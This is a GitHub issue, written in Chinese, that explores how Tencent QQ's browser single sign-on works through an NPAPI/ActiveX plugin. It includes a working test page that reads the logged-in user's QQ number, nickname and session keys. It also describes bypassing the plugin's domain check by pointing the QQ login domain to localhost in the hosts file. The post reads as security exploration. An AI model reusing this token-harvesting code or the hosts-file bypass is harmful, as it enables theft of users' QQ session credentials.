-
Notifications
You must be signed in to change notification settings - Fork 3
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
如何实现单点登录 #14
Comments
在 QQ 已经登录的情况下,手动输入网址打开 QQ 邮箱 或者 QQ 空间 等腾讯网站,可以看到网页已经检测到本地 QQ 客户端已经登录,于是用户可以很方便地一键登录网站而不必再输入用户名密码。这实际上是典型的异构系统单点登录 SSO(single-sign-on)技术。网页怎么会知道我登录的 QQ 号码?腾讯是如何实现的呢? 网上有很多猜测,比如—— QQ 登录时在本地某地方存登录 ID 信息(Cookie 或文件),用 js 读,然后去服务器认证。但是现在的浏览器一般有沙箱功能,js 无法读到登录 ID;而且在清空 Cookie 后依然起作用。 可是 ActiveX 是 IE 的插件呀,我们使用 Chrome 或者 FireFox 也是可以直接登录的,这是怎么回事呢? 原来,QQ 使用了历史很悠久的 NPAPI(Netscape Plugin Application Programming Interface)接口。NPAPI 几乎支持所有主流浏览器,包括 FireFox、Chrome、Opera(IE 从 5.5 后停止支持 NPAPI,转而使用 ActiveX)。 打开 chrome://plugins/ 我们可以发现自动登录的有关插件,而在路径 C:\Program Files (x86)\Common Files\Tencent\TXSSO 下就可以找到关于 SSO 的相关动态链接库。 np 插件一般命名都会加np前缀 如 QQ 的这个 npSSOAxCtrlForPTLogin.dll,只要按照标准的写法,放在浏览器会加载的地方,用的时候写个标签就可以在 js 里面调用了。于是跨浏览器(无视 IE)的插件开发变得相当可行。运行在 NPAPI 插件中的代码拥有当前用户的所有权限,不在沙箱中运行,所以它的扩展程序在被 Chrome 网上应用店接受前要求人工审核。 有点不怀好意的想法开始萌生,我自己的网站能否借用这个插件来检测用户的 QQ 登录呢?写个页面测试一下。 <title>Tencent SSO Testing</title> <script> var g_vOptData; var mylocation= "xui.ptlogin2.qq.com/cgi-bin1/qlogintest.html"; var pt = { ishttps: false, low_login: 0, keyindex: 9, init: function() { pt.ishttps = /^https/.test(mylocation); //if (navigator.mimeTypes["application/nptxsso"]) { var B = document.createElement("embed"); B.type = "application/nptxsso"; B.style.width = "0px"; B.style.height = "0px"; document.body.appendChild(B); pt.sso = B } }; pt.init(); try { if (window.ActiveXObject) { q_hummerQtrl = new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2"); var A = q_hummerQtrl.CreateTXSSOData(); q_hummerQtrl.InitSSOFPTCtrl(0, A); g_vOptData = q_hummerQtrl.CreateTXSSOData() } hummer_loaduin(); } catch(B) { alert(/create ActiveXObject failed/) } function hummer_loaduin() { if (window.ActiveXObject) { var Y = q_hummerQtrl.DoOperation(1, g_vOptData); if (null == Y) { return } try { var T = Y.GetArray("PTALIST"); var c = T.GetSize(); var X = ""; for (var d = 0; d < c; d++) { var E = T.GetData(d); var a = E.GetDWord("dwSSO_Account_dwAccountUin"); var J = ""; var O = E.GetByte("cSSO_Account_cAccountType"); var b = a; if (O == 1) { try { J = E.GetArray("SSO_Account_AccountValueList"); b = J.GetStr(0) } catch(Z) {} } var Q = 0; try { Q = E.GetWord("wSSO_Account_wFaceIndex") } catch(Z) { Q = 0 } var S = ""; try { S = E.GetStr("strSSO_Account_strNickName") } catch(Z) { S = "" } var F = E.GetBuf("bufGTKey_PTLOGIN"); var G = E.GetBuf("bufST_PTLOGIN"); var N = ""; var A = G.GetSize(); for (var W = 0; W < A; W++) { var B = G.GetAt(W).toString("16"); if (B.length == 1) { B = "0" + B } N += B } var M = { uin: a, name: b, type: O, face: Q, nick: S, key: N }; var str = "QQinfo\r\n"+ "uin:" + M['uin']+"\r\n"+ "name:"+M['name']+"\r\n"+ "type:"+M['type']+"\r\n"+ "face:"+M['face']+"\r\n"+ "nick:"+M['nick']+"\r\n"+ "key:"+M['key']+"\r\n"; alert(str); q_aUinList[d] = M } } catch(Z) {} } else { try { var M = pt.sso; var L = M.InitPVA(); if (L != false) { var I = M.GetPVACount(); for (var W = 0; W < I; W++) { var C = M.GetUin(W); var D = M.GetAccountName(W); var K = M.GetFaceIndex(W); var U = M.GetNickname(W); var P = M.GetGender(W); var V = M.GetUinFlag(W); var f = M.GetGTKey(W); var R = M.GetST(W); } var str = "QQinfo\r\n"+ "uin:" + C +"\r\n"+ "name:"+D+"\r\n"+ "face:"+K +"\r\n"+ "nick:"+U+"\r\n"+ "key:"+f+"\r\n"; alert(str); } } catch(Z) {} } } </script> 本地打开此页面,create ActiveXObject 失败。腾讯必然在 dll 中就对域名进行了限制,网页是无法篡改的。于是修改本地host文件,加一条:127.0.0.1 xui.ptlogin2.qq.com 再用 xui.ptlogin2.qq.com 这个域名去访问本地的这个 html,果然,可以正常拿到 QQ 相关信息。 好吧,这个截图被我打码打得没啥意义了 PS. Chrome 浏览器自带的开发者工具有一个功能可以格式化被压缩的 js 代码,十分好用。废话不多说,有图说明一切—— 参考链接: |
No description provided.
The text was updated successfully, but these errors were encountered: